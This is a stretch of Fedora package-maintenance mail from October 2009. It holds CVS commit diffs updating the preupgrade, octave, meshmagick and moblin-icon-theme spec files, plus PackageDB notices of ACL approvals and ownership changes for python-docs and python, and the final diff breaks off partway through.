Update of /cvs/pkgs/rpms/preupgrade/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23077

Modified Files:
	.cvsignore preupgrade.spec sources 
Removed Files:
	preupgrade-1.1.1-fix-progress-page-typo.patch 
Log Message:
1.1.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	9 Oct 2009 21:07:37 -0000	1.9
+++ .cvsignore	12 Oct 2009 19:20:16 -0000	1.10
@@ -1 +1 @@
-preupgrade-1.1.1.tar.bz2
+preupgrade-1.1.2.tar.bz2


Index: preupgrade.spec
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/devel/preupgrade.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- preupgrade.spec	12 Oct 2009 15:00:28 -0000	1.20
+++ preupgrade.spec	12 Oct 2009 19:20:18 -0000	1.21
@@ -1,27 +1,26 @@
 %{!?python_sitelib: %define python_sitelib %(python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Summary: Prepares a system for an upgrade
 Name: preupgrade
-Version: 1.1.1
-Release: 3%{?dist}
+Version: 1.1.2
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: https://fedorahosted.org/releases/p/r/preupgrade/%{name}-%{version}.tar.bz2
 Source1: http://mirrors.fedoraproject.org/releases.txt
-Patch1: preupgrade-1.1.1-fix-progress-page-typo.patch
 URL: https://fedorahosted.org/preupgrade/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 Requires: python >= 2.1, rpm-python, rpm >= 0:4.1.1
 # preupgrade-gui requires pygtk2 and libglade
 # TODO: split out preupgrade-gtk subpackage that requires this
-Requires: pygtk2-libglade
+# NOTE gtk 2.16.6 changed button behavior for GtkAssistant (gnome bug 589745),
+# and we expect that behavior, so require gtk2 >= 2.16.6
+Requires: pygtk2-libglade, gtk2 >= 2.16.6
 # F10 anaconda provides its special depsolving magic as yum plugins
 Requires: anaconda-yum-plugins
 # F10 anaconda expects to be handed a valid yum repo
 Requires: createrepo
-# yum 3.2.18 is needed to enable the above plugins at runtime
-# yum 3.2.19 is needed for setup_locale(), which fixes some i18n tracebacks
-# 3.2.24 fixes some unicode reading issues
+# yum 3.2.24 fixes some unicode reading issues - see bug 527552
 Requires: yum-metadata-parser, yum >= 3.2.24
 Requires: usermode
 # blkid moved from e2fsprogs to util-linux-ng in 2.15.1
@@ -33,15 +32,7 @@ Requires: e2fsprogs
 BuildRequires: desktop-file-utils, python
 # preupgrade's use of long append="..." strings will break older yaboot
 # and thus render ppc systems unbootable - see bug #471321
-%if 0%{?fedora} == 8
-Conflicts: yaboot < 1.3.13-9
-%endif
-%if 0%{?fedora} == 9
-Conflicts: yaboot < 1.3.13-13
-%endif
-%if 0%{?fedora} >= 10
 Conflicts: yaboot < 1.3.14-8
-%endif
 
 %description
 preupgrade prepares your Fedora system for an upgrade to the next version
@@ -50,7 +41,6 @@ and then setting up your system to perfo
 
 %prep
 %setup -q
-%patch1 -p1
 
 %build
 # no op
@@ -83,8 +73,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}
 
 %changelog
-* Mon Oct 12 2009 Will Woods <wwoods at redhat.com> - 1.1.1-3
-- Typo fix for bug 526208
+* Mon Oct 12 2009 Will Woods <wwoods at redhat.com> - 1.1.2-1
+- Proper fix for bug 526208
+- Require gtk2 >= 2.16.6
 
 * Fri Oct  9 2009 Seth Vidal <skvidal at fedoraproject.org> - 1.1.1-2
 - require yum 3.2.24


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	9 Oct 2009 21:07:37 -0000	1.12
+++ sources	12 Oct 2009 19:20:18 -0000	1.13
@@ -1 +1 @@
-f96a2814603f78f623397a5548245f9c  preupgrade-1.1.1.tar.bz2
+f5fc1b7b6c8ef78360adc250e6204471  preupgrade-1.1.2.tar.bz2


--- preupgrade-1.1.1-fix-progress-page-typo.patch DELETED ---



From orion at fedoraproject.org  Mon Oct 12 19:27:35 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 12 Oct 2009 19:27:35 +0000 (UTC)
Subject: rpms/octave/F-12 .cvsignore, 1.26, 1.27 import.log, 1.5,
	1.6 octave.spec, 1.92, 1.93 sources, 1.26, 1.27
Message-ID: <20091012192735.D06AA11C00DB@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/octave/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25800/F-12

Modified Files:
	.cvsignore import.log octave.spec sources 
Log Message:
Update to 3.2.3 from devel


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/octave/F-12/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	31 Jul 2009 08:01:59 -0000	1.26
+++ .cvsignore	12 Oct 2009 19:27:33 -0000	1.27
@@ -1 +1 @@
-octave-3.2.2.tar.bz2
+octave-3.2.3.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/octave/F-12/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	23 Sep 2009 06:08:23 -0000	1.5
+++ import.log	12 Oct 2009 19:27:34 -0000	1.6
@@ -3,3 +3,4 @@ octave-3_0_5-1_fc11:HEAD:octave-3.0.5-1.
 octave-3_2_0-1_fc11:HEAD:octave-3.2.0-1.fc11.src.rpm:1247313567
 octave-3_2_2-1_fc11:HEAD:octave-3.2.2-1.fc11.src.rpm:1249027014
 octave-3_2_2-5_fc12:HEAD:octave-3.2.2-5.fc12.src.rpm:1253686658
+octave-3_2_3-1_fc13:F-12:octave-3.2.3-1.fc13.src.rpm:1255375629


Index: octave.spec
===================================================================
RCS file: /cvs/pkgs/rpms/octave/F-12/octave.spec,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- octave.spec	23 Sep 2009 06:08:23 -0000	1.92
+++ octave.spec	12 Oct 2009 19:27:34 -0000	1.93
@@ -2,8 +2,8 @@
 %define octave_api api-v37
 
 Name:           octave
-Version:        3.2.2
-Release:        5%{?dist}
+Version:        3.2.3
+Release:        1%{?dist}
 Summary:        A high-level language for numerical computations
 Epoch:          6
 Group:          Applications/Engineering
@@ -118,8 +118,8 @@ touch %{buildroot}%{_datadir}/%{name}/oc
 mkdir interpreter
 cp -a doc/interpreter/*.pdf doc/interpreter/HTML/ interpreter/
 
-#check
-#make check
+%check
+make check
 
 %clean
 rm -rf %{buildroot}
@@ -171,6 +171,10 @@ fi
 
 
 %changelog
+* Tue Sep 29 2009 Orion Poplawski <orion at cora.nwra.com> - 6:3.2.3-1
+- Update to 3.2.3
+- Re-add make check
+
 * Tue Sep 22 2009 Rakesh Pandit <rakesh at fedoraproject.org> - 6:3.2.2-5
 - Added categories to desktop file: Education, DataVisualization, NumericalAnalysis 
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/octave/F-12/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	31 Jul 2009 08:01:59 -0000	1.26
+++ sources	12 Oct 2009 19:27:34 -0000	1.27
@@ -1 +1 @@
-656d0d11bf9cfea7a4cee226ee63fea7  octave-3.2.2.tar.bz2
+eecaa1a3b2da3b94fa7bcebbc4f1a1f2  octave-3.2.3.tar.bz2



From pkgdb at fedoraproject.org  Mon Oct 12 19:49:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 19:49:44 +0000
Subject: [pkgdb] python-docs: dmalcolm has requested watchbugzilla
Message-ID: <20091012194944.B46D010F8A9@bastion2.fedora.phx.redhat.com>

dmalcolm has requested the watchbugzilla acl on python-docs (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 19:49:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 19:49:44 +0000
Subject: [pkgdb] python-docs: dmalcolm has requested watchcommits
Message-ID: <20091012194945.23E5510F8AD@bastion2.fedora.phx.redhat.com>

dmalcolm has requested the watchcommits acl on python-docs (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 19:49:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 19:49:48 +0000
Subject: [pkgdb] python-docs: dmalcolm has requested commit
Message-ID: <20091012194949.3846110F8B1@bastion2.fedora.phx.redhat.com>

dmalcolm has requested the commit acl on python-docs (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 19:50:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 19:50:00 +0000
Subject: [pkgdb] python-docs: dmalcolm has requested watchbugzilla
Message-ID: <20091012195000.689BA10F882@bastion2.fedora.phx.redhat.com>

dmalcolm has requested the watchbugzilla acl on python-docs (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 19:50:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 19:50:04 +0000
Subject: [pkgdb] python-docs: dmalcolm has requested watchcommits
Message-ID: <20091012195005.0D0DB10F8B1@bastion2.fedora.phx.redhat.com>

dmalcolm has requested the watchcommits acl on python-docs (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 19:50:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 19:50:09 +0000
Subject: [pkgdb] python-docs: dmalcolm has requested commit
Message-ID: <20091012195009.990D410F882@bastion2.fedora.phx.redhat.com>

dmalcolm has requested the commit acl on python-docs (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 19:50:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 19:50:57 +0000
Subject: [pkgdb] python-docs had acl change status
Message-ID: <20091012195057.EC57B10F87E@bastion2.fedora.phx.redhat.com>

james has set the watchbugzilla acl on python-docs (Fedora devel) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 19:50:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 19:50:58 +0000
Subject: [pkgdb] python-docs had acl change status
Message-ID: <20091012195058.C538110F88B@bastion2.fedora.phx.redhat.com>

james has set the watchcommits acl on python-docs (Fedora devel) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 19:50:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 19:50:59 +0000
Subject: [pkgdb] python-docs had acl change status
Message-ID: <20091012195059.5FD0210F8A8@bastion2.fedora.phx.redhat.com>

james has set the commit acl on python-docs (Fedora devel) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 19:51:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 19:51:00 +0000
Subject: [pkgdb] python-docs had acl change status
Message-ID: <20091012195100.9EFF210F8AC@bastion2.fedora.phx.redhat.com>

james has set the approveacls acl on python-docs (Fedora devel) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From atorkhov at fedoraproject.org  Mon Oct 12 19:52:09 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon, 12 Oct 2009 19:52:09 +0000 (UTC)
Subject: rpms/meshmagick/devel meshmagick-0.6.0-debuginfo.patch, NONE,
	1.1 meshmagick-0.6.0-fixbuild.patch, NONE, 1.1 .cvsignore, 1.2,
	1.3 meshmagick.spec, 1.4, 1.5 sources, 1.2,
	1.3 meshmagick-0.5.2-debuginfo.patch, 1.1, NONE
Message-ID: <20091012195209.BE8B811C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/meshmagick/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv514

Modified Files:
	.cvsignore meshmagick.spec sources 
Added Files:
	meshmagick-0.6.0-debuginfo.patch 
	meshmagick-0.6.0-fixbuild.patch 
Removed Files:
	meshmagick-0.5.2-debuginfo.patch 
Log Message:
* Mon Oct 12 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.6.0-1.20090529svn2698
- Update


meshmagick-0.6.0-debuginfo.patch:
 configure.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE meshmagick-0.6.0-debuginfo.patch ---
diff -ur meshmagick/configure.in meshmagick.orig/configure.in
--- meshmagick/configure.in	2009-01-11 01:15:16.000000000 +0300
+++ meshmagick.orig/configure.in	2009-10-12 23:15:57.000000000 +0400
@@ -17,7 +17,7 @@
 if test "$enable_debug" = "yes"; then
     CXXFLAGS="$CXXFLAGS -g -O0 -DDEBUG"
 else
-    CXXFLAGS="$CXXFLAGS -O2 -DNDEBUG -s"
+    CXXFLAGS="$CXXFLAGS -O2 -DNDEBUG"
 fi
 
 # Pthreads

meshmagick-0.6.0-fixbuild.patch:
 Makefile.am |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

--- NEW FILE meshmagick-0.6.0-fixbuild.patch ---
diff -ur meshmagick.orig/include/Makefile.am meshmagick/include/Makefile.am
--- meshmagick.orig/include/Makefile.am	2009-05-29 02:32:09.000000000 +0400
+++ meshmagick/include/Makefile.am	2009-10-12 23:36:06.000000000 +0400
@@ -22,6 +22,4 @@
 	MmToolManager.h \
 	MmToolUtils.h \
 	MmTransformToolFactory.h \
-	MmTransformTool.h \
-	MmStatefulMeshSerializer.h \
-	MmStatefulSkeletonSerializer.h 
+	MmTransformTool.h


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/meshmagick/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Mar 2009 20:13:45 -0000	1.2
+++ .cvsignore	12 Oct 2009 19:52:07 -0000	1.3
@@ -1 +1 @@
-meshmagick-0.5.2.tar.bz2
+meshmagick-0.6.0-r2698.tar.bz2


Index: meshmagick.spec
===================================================================
RCS file: /cvs/pkgs/rpms/meshmagick/devel/meshmagick.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- meshmagick.spec	28 Sep 2009 10:26:56 -0000	1.4
+++ meshmagick.spec	12 Oct 2009 19:52:08 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           meshmagick
-Version:        0.5.2
-Release:        7.20090124svn2618%{?dist}
+Version:        0.6.0
+Release:        1.20090529svn2698%{?dist}
 Summary:        Command line manipulation tool for Ogre meshes
 
 Group:          Applications/Multimedia
@@ -8,13 +8,14 @@ License:        LGPLv2+
 URL:            http://www.ogre3d.org/wiki/index.php/MeshMagick
 # The source for this package was pulled from upstream's svn.  Use the
 # following commands to generate the tarball:
-#  svn export -r 2618 https://ogreaddons.svn.sourceforge.net/svnroot/ogreaddons/trunk/meshmagick meshmagick
-#  cd meshmagick
-#  ./bootstrap && ./configure && make dist-bzip2
-Source0:        %{name}-%{version}.tar.bz2
-Patch0:         meshmagick-0.5.2-debuginfo.patch
+#  svn export -r 2698 https://ogreaddons.svn.sourceforge.net/svnroot/ogreaddons/trunk/meshmagick meshmagick
+#  tar cjf meshmagick-0.6.0-r2698.tar.bz2 meshmagick
+Source0:        %{name}-%{version}-r2698.tar.bz2
+Patch0:         meshmagick-0.6.0-debuginfo.patch
+Patch1:         meshmagick-0.6.0-fixbuild.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+BuildRequires:  autoconf automake libtool
 BuildRequires:  ogre-devel
 
 %description
@@ -43,13 +44,15 @@ developing applications that use %{name}
 
 
 %prep
-%setup -q
+%setup -q -n %{name}
 %patch0 -p1
-chmod -x include/{EditableMesh.h,EditableSkeleton.h,RenameToolFactory.h,RenameTool.h} src/{EditableMesh.cpp,EditableSkeleton.cpp,RenameToolFactory.cpp,RenameTool.cpp}
+%patch1 -p1
 
 
 %build
+./bootstrap
 %configure --disable-static
+#cmake .
 make %{?_smp_mflags}
 
 
@@ -85,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.6.0-1.20090529svn2698
+- Update
+
 * Mon Sep 28 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.2-7.20090124svn2618
 - Rebuilt for new OGRE
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/meshmagick/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Mar 2009 20:13:45 -0000	1.2
+++ sources	12 Oct 2009 19:52:08 -0000	1.3
@@ -1 +1 @@
-aa2e668e74259b16d4d46596b566c306  meshmagick-0.5.2.tar.bz2
+4419b51634612ccaeff8e067278701fb  meshmagick-0.6.0-r2698.tar.bz2


--- meshmagick-0.5.2-debuginfo.patch DELETED ---



From atorkhov at fedoraproject.org  Mon Oct 12 20:04:26 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon, 12 Oct 2009 20:04:26 +0000 (UTC)
Subject: rpms/meshmagick/F-12 meshmagick-0.6.0-debuginfo.patch, NONE,
	1.1 meshmagick-0.6.0-fixbuild.patch, NONE, 1.1 .cvsignore, 1.2,
	1.3 meshmagick.spec, 1.4, 1.5 sources, 1.2,
	1.3 meshmagick-0.5.2-debuginfo.patch, 1.1, NONE
Message-ID: <20091012200426.57F3211C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/meshmagick/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2563

Modified Files:
	.cvsignore meshmagick.spec sources 
Added Files:
	meshmagick-0.6.0-debuginfo.patch 
	meshmagick-0.6.0-fixbuild.patch 
Removed Files:
	meshmagick-0.5.2-debuginfo.patch 
Log Message:
* Mon Oct 12 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.6.0-1.20090529svn2698
- Update


meshmagick-0.6.0-debuginfo.patch:
 configure.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE meshmagick-0.6.0-debuginfo.patch ---
diff -ur meshmagick/configure.in meshmagick.orig/configure.in
--- meshmagick/configure.in	2009-01-11 01:15:16.000000000 +0300
+++ meshmagick.orig/configure.in	2009-10-12 23:15:57.000000000 +0400
@@ -17,7 +17,7 @@
 if test "$enable_debug" = "yes"; then
     CXXFLAGS="$CXXFLAGS -g -O0 -DDEBUG"
 else
-    CXXFLAGS="$CXXFLAGS -O2 -DNDEBUG -s"
+    CXXFLAGS="$CXXFLAGS -O2 -DNDEBUG"
 fi
 
 # Pthreads

meshmagick-0.6.0-fixbuild.patch:
 Makefile.am |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

--- NEW FILE meshmagick-0.6.0-fixbuild.patch ---
diff -ur meshmagick.orig/include/Makefile.am meshmagick/include/Makefile.am
--- meshmagick.orig/include/Makefile.am	2009-05-29 02:32:09.000000000 +0400
+++ meshmagick/include/Makefile.am	2009-10-12 23:36:06.000000000 +0400
@@ -22,6 +22,4 @@
 	MmToolManager.h \
 	MmToolUtils.h \
 	MmTransformToolFactory.h \
-	MmTransformTool.h \
-	MmStatefulMeshSerializer.h \
-	MmStatefulSkeletonSerializer.h 
+	MmTransformTool.h


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/meshmagick/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Mar 2009 20:13:45 -0000	1.2
+++ .cvsignore	12 Oct 2009 20:04:25 -0000	1.3
@@ -1 +1 @@
-meshmagick-0.5.2.tar.bz2
+meshmagick-0.6.0-r2698.tar.bz2


Index: meshmagick.spec
===================================================================
RCS file: /cvs/pkgs/rpms/meshmagick/F-12/meshmagick.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- meshmagick.spec	28 Sep 2009 10:26:56 -0000	1.4
+++ meshmagick.spec	12 Oct 2009 20:04:26 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           meshmagick
-Version:        0.5.2
-Release:        7.20090124svn2618%{?dist}
+Version:        0.6.0
+Release:        1.20090529svn2698%{?dist}
 Summary:        Command line manipulation tool for Ogre meshes
 
 Group:          Applications/Multimedia
@@ -8,13 +8,14 @@ License:        LGPLv2+
 URL:            http://www.ogre3d.org/wiki/index.php/MeshMagick
 # The source for this package was pulled from upstream's svn.  Use the
 # following commands to generate the tarball:
-#  svn export -r 2618 https://ogreaddons.svn.sourceforge.net/svnroot/ogreaddons/trunk/meshmagick meshmagick
-#  cd meshmagick
-#  ./bootstrap && ./configure && make dist-bzip2
-Source0:        %{name}-%{version}.tar.bz2
-Patch0:         meshmagick-0.5.2-debuginfo.patch
+#  svn export -r 2698 https://ogreaddons.svn.sourceforge.net/svnroot/ogreaddons/trunk/meshmagick meshmagick
+#  tar cjf meshmagick-0.6.0-r2698.tar.bz2 meshmagick
+Source0:        %{name}-%{version}-r2698.tar.bz2
+Patch0:         meshmagick-0.6.0-debuginfo.patch
+Patch1:         meshmagick-0.6.0-fixbuild.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+BuildRequires:  autoconf automake libtool
 BuildRequires:  ogre-devel
 
 %description
@@ -43,13 +44,15 @@ developing applications that use %{name}
 
 
 %prep
-%setup -q
+%setup -q -n %{name}
 %patch0 -p1
-chmod -x include/{EditableMesh.h,EditableSkeleton.h,RenameToolFactory.h,RenameTool.h} src/{EditableMesh.cpp,EditableSkeleton.cpp,RenameToolFactory.cpp,RenameTool.cpp}
+%patch1 -p1
 
 
 %build
+./bootstrap
 %configure --disable-static
+#cmake .
 make %{?_smp_mflags}
 
 
@@ -85,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.6.0-1.20090529svn2698
+- Update
+
 * Mon Sep 28 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.2-7.20090124svn2618
 - Rebuilt for new OGRE
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/meshmagick/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Mar 2009 20:13:45 -0000	1.2
+++ sources	12 Oct 2009 20:04:26 -0000	1.3
@@ -1 +1 @@
-aa2e668e74259b16d4d46596b566c306  meshmagick-0.5.2.tar.bz2
+4419b51634612ccaeff8e067278701fb  meshmagick-0.6.0-r2698.tar.bz2


--- meshmagick-0.5.2-debuginfo.patch DELETED ---



From pkgdb at fedoraproject.org  Mon Oct 12 20:04:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 20:04:33 +0000
Subject: [pkgdb] python-docs had acl change status
Message-ID: <20091012200433.250C810F87E@bastion2.fedora.phx.redhat.com>

james has set the watchcommits acl on python-docs (Fedora 12) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 20:04:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 20:04:35 +0000
Subject: [pkgdb] python-docs had acl change status
Message-ID: <20091012200435.7D25110F8A3@bastion2.fedora.phx.redhat.com>

james has set the watchbugzilla acl on python-docs (Fedora 12) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 20:04:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 20:04:35 +0000
Subject: [pkgdb] python-docs had acl change status
Message-ID: <20091012200435.E140310F8A9@bastion2.fedora.phx.redhat.com>

james has set the commit acl on python-docs (Fedora 12) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 20:04:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 20:04:37 +0000
Subject: [pkgdb] python-docs had acl change status
Message-ID: <20091012200437.678D510F8AD@bastion2.fedora.phx.redhat.com>

james has set the approveacls acl on python-docs (Fedora 12) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 20:04:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 20:04:51 +0000
Subject: [pkgdb] python-docs ownership updated
Message-ID: <20091012200451.85FFC10F889@bastion2.fedora.phx.redhat.com>

Package python-docs in Fedora devel is now owned by dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 20:05:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 20:05:01 +0000
Subject: [pkgdb] python-docs ownership updated
Message-ID: <20091012200501.6DB6510F8A8@bastion2.fedora.phx.redhat.com>

Package python-docs in Fedora 12 is now owned by dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-docs



From pkgdb at fedoraproject.org  Mon Oct 12 20:05:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 20:05:41 +0000
Subject: [pkgdb] python ownership updated
Message-ID: <20091012200541.C979810F8A4@bastion2.fedora.phx.redhat.com>

Package python in Fedora 12 is now owned by james

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Mon Oct 12 20:05:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 20:05:56 +0000
Subject: [pkgdb] python: james has given up watchcommits
Message-ID: <20091012200556.B112E10F882@bastion2.fedora.phx.redhat.com>

james has given up the watchcommits acl on python (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Mon Oct 12 20:05:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 20:05:59 +0000
Subject: [pkgdb] python: james has requested watchcommits
Message-ID: <20091012200559.6CEAD10F88B@bastion2.fedora.phx.redhat.com>

james has requested the watchcommits acl on python (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python



From pbrobinson at fedoraproject.org  Mon Oct 12 20:06:54 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 12 Oct 2009 20:06:54 +0000 (UTC)
Subject: rpms/moblin-icon-theme/devel .cvsignore, 1.3,
	1.4 moblin-icon-theme.spec, 1.4, 1.5 sources, 1.3, 1.4
Message-ID: <20091012200655.0572F11C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-icon-theme/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2955

Modified Files:
	.cvsignore moblin-icon-theme.spec sources 
Log Message:
- New upstream 0.8 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	7 Sep 2009 23:03:48 -0000	1.3
+++ .cvsignore	12 Oct 2009 20:06:54 -0000	1.4
@@ -1 +1 @@
-moblin-icon-theme-0.7.1.tar.bz2
+moblin-icon-theme-0.8.tar.bz2


Index: moblin-icon-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/devel/moblin-icon-theme.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- moblin-icon-theme.spec	7 Sep 2009 23:03:48 -0000	1.4
+++ moblin-icon-theme.spec	12 Oct 2009 20:06:54 -0000	1.5
@@ -1,19 +1,17 @@
-Name:           moblin-icon-theme
-Version:        0.7.1
-Release:        0.1
-Summary:        Moblin icon theme
-
-Group:          User Interface/Desktops
-License:        CC-BY-SA
-URL:            http://www.moblin.org/
-#Source0:        http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2
-#git archive --format=tar --prefix=moblin-icon-theme-0.7.1/ b88b673 | bzip2 > moblin-icon-theme-0.7.1.tar.bz2
-Source0:        %{name}-%{version}.tar.bz2
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildArch:      noarch
+Name:          moblin-icon-theme
+Version:       0.8
+Release:       1
+Summary:       Moblin icon theme
+
+Group:         User Interface/Desktops
+License:       CC-BY-SA
+URL:           http://www.moblin.org/
+Source0:       http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2
+BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildArch:     noarch
 
